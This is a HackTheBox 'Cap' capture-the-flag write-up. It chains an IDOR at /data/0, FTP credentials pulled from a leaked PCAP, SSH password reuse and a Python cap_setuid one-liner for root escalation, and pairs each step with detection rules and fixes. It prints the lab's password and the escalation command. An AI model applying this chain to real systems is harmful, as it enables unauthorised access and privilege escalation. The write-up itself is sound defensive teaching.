HackTheBox Cap Writeup
HTB Cap: a broken access control at /data/0 leaks a PCAP, FTP credentials, SSH password reuse, and a Python cap_setuid capability chain to root.
HackTheBox Cap Writeup
HTB Cap has a "Security Dashboard"; flipping the /data/1 value in its URL to 0 opens a previous traffic capture. The original lab notes record SSH access via the FTP credentials inside the PCAP and a jump to root through Python's cap_setuid capability. The addresses, passwords, and outputs below are that lab record; they are not results re-run against a current instance.
This writeup does not just list the steps; it explains why each step works, how it would be detected in a real environment, and how it would be prevented. The aim is not a one-off flag grab, but seeing how the same four weaknesses sit side by side in an organisation.
Threat Model: Four Doors
It helps to think of the Cap box as four separate doors:
+------------------+ +------------------+ +------------------+
| 1. Web door | ---> | 2. Data door | ---> | 3. SSH door |
| IDOR: /data/0 | | PCAP leak | | Password reuse |
+------------------+ +------------------+ +------------------+
|
v
+------------------+
| 4. Privilege door|
| cap_setuid root |
+------------------+A four-link chain: a broken authorisation check on the web (1) leaks a traffic capture (2); the leaked FTP password is reused on SSH, granting a user session (3); a misconfigured capability on the Python binary escalates to root (4). Break any single link and root is impossible; yet each link on its own is a mistake found in the real world.
Trust Boundaries
This box has three trust boundaries:
- Browser to server: a user should see their own
/data/1record, not someone else's. This boundary falls with the IDOR. - Network plane: between the FTP client and server, anyone listening on the account can read it. This boundary would close if a TLS-terminated protocol replaced FTP.
- User to root: the
nathanuser may run Python but must not be able to callsetuid(0). Thecap_setuidcapability removes this boundary.
[client] --HTTP :80--> [web application served by gunicorn]
|
/data/{id} <-- trust boundary 1 (no ownership check)
|
[pcap file]
|
[FTP USER/PASS] <-- trust boundary 2 (cleartext)
|
ssh nathan <-- trust boundary 3 (cap_setuid)1. Recon: Nmap
nmap -Pn -sV -sC -T4 --top-ports 1000 10.129.61.255Typical output:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp open http gunicornThree ports, three pieces of information: FTP carries cleartext risk, SSH may be the door for a reused password, and port 80 hosts a web application. The first curiosity is always 80.
A subdirectory scan is also useful, because endpoint names hint at the shape:
ffuf -u http://10.129.61.255/FUZZ -w common.txt -mc 200,301,302
# /data/1 [200]
# /security/dashboard [200]2. Web: Dashboard
In the left menu there is a "Security Snapshot" link. Clicking it gives the URL /data/1. The page shows a network capture and a Download button. Download your own capture and open it with tshark:
tshark -r capture1.pcap -Y "http" -T fields -e http.request.uri | headThe content holds nothing beyond your own dashboard traffic. This confirms the data flow is real and that captures are stored as files. The next question: is the file exposed to others too?
3. IDOR: /data/0
When IDs are sequential, the first try is always the neighbouring record:
GET /data/1 -> 200, your own pcap
GET /data/0 -> 200, someone else's pcap
GET /download/0 -> 200, the pcap fileThe server never asks "is this page yours". This is IDOR (Insecure Direct Object Reference): the object is directly reachable, with no authorisation. Conceptually, the server fails to make this check:
def get_snapshot(uid, snapshot_id):
snap = db.get(snapshot_id)
if snap.owner_id != uid: # THIS LINE IS MISSING
abort(403)
return snapThat is exactly the check that should be there. Also, an unpredictable ID such as snapshot_id = secrets.token_urlsafe(16) narrows the surface but is not sufficient on its own.
Detecting IDOR
Realistic verification uses two accounts and two resources with known ownership. Request the viewing and download endpoints of a record created by account A using account B; confirm that no sensitive bytes are returned and that the server enforces its ownership rule. A 200 alone is not proof of IDOR: a login page or an empty error envelope can also return 200. A 403, or a 404 that hides the resource, may be a valid result depending on policy. The real criterion is that B cannot retrieve A's data.
Application-side, if two log fields (the requesting uid, the resource owner_id) are recorded for GET /data/{id} accesses, alert correlation is straightforward.
4. PCAP and FTP
I inspect the FTP control channel inside the downloaded capture0.pcap. On plain FTP, USER/PASS are cleartext; FTPS can carry them inside TLS. Merely having port 21 open does not prove the password passed in cleartext; here the following protocol fields support it:
tshark -r capture0.pcap -Y "ftp" -T fields \
-e ftp.request.command -e ftp.request.argUSER nathan
PASS Buck3tH4TF0RM3!Alternatively, in a single line:
strings capture0.pcap | grep -E "USER|PASS"
grep -a -o "USER [^ ]*\|PASS [^ ]*" capture0.pcap | headA known list of which protocols carry secrets in cleartext:
| Protocol | Secret carried | Cleartext? | Safe alternative |
|---|---|---|---|
| FTP | USER/PASS | Yes | SFTP, FTPS |
| HTTP | Authorization, cookie | Yes | HTTPS |
| Telnet | entire session | Yes | SSH |
| SMTP | AUTH | Can be, if TLS is not established; the port alone does not decide | Mandatory TLS with certificate validation |
| HTTP inside a VPN | internal traffic | Hidden between tunnel endpoints, can stay cleartext at the ends | End-to-end HTTPS |
Detection
On a network, a steady USER/PASS flow on port 21 is a high signal for an IDS. A simple Suricata rule:
alert tcp any any -> any 21 (msg:"FTP cleartext credentials";
content:"PASS"; nocase; sid:1000001;)5. Getting In with SSH
Password reuse is an unchanging part of human behaviour. I try the same password on SSH:
ssh nathan@10.129.61.255
# Buck3tH4TF0RM3!
nathan@cap:~$ cat ~/user.txtAlso, hydra or medusa against a recovered password is not recommended; within the Starting Point scope you may assume the box owner is present on the machine, but in a real environment such an attempt runs into account lockout policies.
Use a unique password per service and strong MFA on critical accounts. Password history restricts an account returning to its own old password; it is not a cross-service control that stops the same password being used between FTP and SSH.
Detection
Via Fail2ban and auth.log: five failed SSH attempts from the same IP within five minutes, followed by one successful session, is a suspicious pattern. In EDR, "the first session opened with a new user on a new machine" is also a good alert.
6. Root: cap_setuid
On the box, nathan's sudo -l output comes back empty, and there is no interesting SUID-bit file. The third door: Linux capabilities. The idea of defining the privilege a program needs, without granting all of root, is sound, but if misconfigured it becomes an escalation door.
getcap -r / 2>/dev/null/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eipcap_setuid tells Python: you may call setuid(0). So the Python that nathan runs can turn itself into root:
python3.8 -c "import os; os.setuid(0); os.system('id; cat /root/root.txt')"uid=0(root) gid=1001(nathan) groups=1001(nathan)If CAP_SETUID is effective and the namespace/policy permits it, setuid(0) can change the real, effective, and saved UID as well; the group identity does not change automatically. That is why gid=1001(nathan) can appear alongside uid=0. A single id run alone does not prove all of the process's later identity changes or its privilege outside the container. The Linux capabilities manual explains capability sets and namespace scope.
Dangerous capability list
| Capability | Why it is dangerous |
|---|---|
| cap_setuid / cap_setgid | you can switch user and become root |
| cap_dac_read_search | bypass file permissions |
| cap_sys_ptrace | read another process's memory |
| cap_sys_admin | nearly equivalent to root |
| cap_net_raw | packet crafting, ARP spoofing |
| cap_net_bind_service | bind low ports (low risk on its own) |
Detection
A regular inventory:
getcap -r / 2>/dev/null | tee /var/log/cap-audit-$(date +%F).logAn unexpected change in this output (a new binary appearing, a capability increase on an existing binary) is an alert-level event. The getcap output can be added to Tripwire/AIDE-style integrity tools. Also, capsh --print shows a process's effective set.
7. Version Differences: The Capability Mechanism
- The Linux capability split began with 2.2; file capability support arrived with 2.6.24.
no_new_privswas added in 3.5; the bounding set and securebits did not appear on the same date. - The
+eipon a file is the input to the post-exec privilege transformation. The effective set, the bounding set,no_new_privs, mount options, and the namespace are evaluated together; agetcapline alone does not guarantee that every execution becomes root. - Capabilities in Docker are evaluated within the relevant user namespace. UID 0 inside a container is not automatically host root.
Verify the full path and package origin of the Python binary here:
ls -la /usr/bin/python* /usr/local/bin/python*
dpkg -S /usr/bin/python3.88. Mitigation: All Four Links Must Close
For IDOR:
- An ownership check on every object access:
snap.owner_id == current_user.id, otherwise 403. - An unpredictable ID (
secrets.token_urlsafe(16)), though not sufficient on its own. - A central authz guard: a route decorator or middleware enforcing it from one place.
For FTP:
- Turn the service off; use SFTP (OpenSSH, port 22) or transfer over HTTPS instead.
- Do not keep PCAP and log archives in a public directory; define a retention period and an access log.
For password reuse:
- A password manager and unique passwords; hardware-backed 2FA on critical accounts.
- For SSH, keys instead of passwords plus
PasswordAuthentication noplus fail2ban.
For capabilities:
- Remove the unnecessary
cap_setuidfrom the general-purpose Python interpreter during maintenance; move the required privileged work into a narrow, separate helper. - After a package update, compare the capability inventory against the previous record.
- In the fix check, inspect the effective capabilities of Python under the same user and confirm that the UID-change operation is now rejected, while also verifying that the required service function still works.
9. ASCII Attack Chain Summary
[Dashboard] --/data/0 IDOR--> [capture0.pcap]
|
tshark / strings
v
USER nathan / PASS x
|
ssh nathan@target
v
nathan@cap:~$
|
getcap -> python3.8=cap_setuid
v
python3.8 -c 'os.setuid(0); ...'
v
root# cap10. Looking Back
Every step had a "why": I looked at the web first because web applications are the weak link; I tried /data/0 because sequential IDs always raise suspicion; I searched the FTP for a password because it is cleartext; I tried the same password on SSH because it gets reused; I checked getcap because when sudo and SUID are absent, capabilities are the third door.
Nmap → Web recon → IDOR (/data/0) → PCAP + FTP → SSH → cap_setuid → ROOT
Defensive Summary
- If you run FTP, close its door: credentials and data travel the network in cleartext; ship over SFTP (port 22) or HTTPS instead.
- PCAP files should not sit in open sharing like an everyday archive; if you use sequential IDs in a URL, an ownership check is mandatory against IDOR.
- Grant Linux capabilities by principle of least privilege; keep high-signal capabilities like
cap_setuidoff every binary. Scan regularly withgetcap -r /after package installs. - Think of the chain: a single
sshd_configline, a single authz check, or a singlegetcapdiff breaks the entire chain. Defence in depth means placing a separate control on each link.
Related Research & Internal References
- API Access Control Test Plan - the two-account ownership-verification method the IDOR section relies on.
- Shadow API Asset Inventory - discovering endpoints like
/data/{id}that never appear in the docs. - Security Finding Scoring - how to rate a chain of four medium issues versus one critical.
- Security Logging Design - logging the ownership fields that make IDOR alerting possible.
What do you think?
React to show your appreciation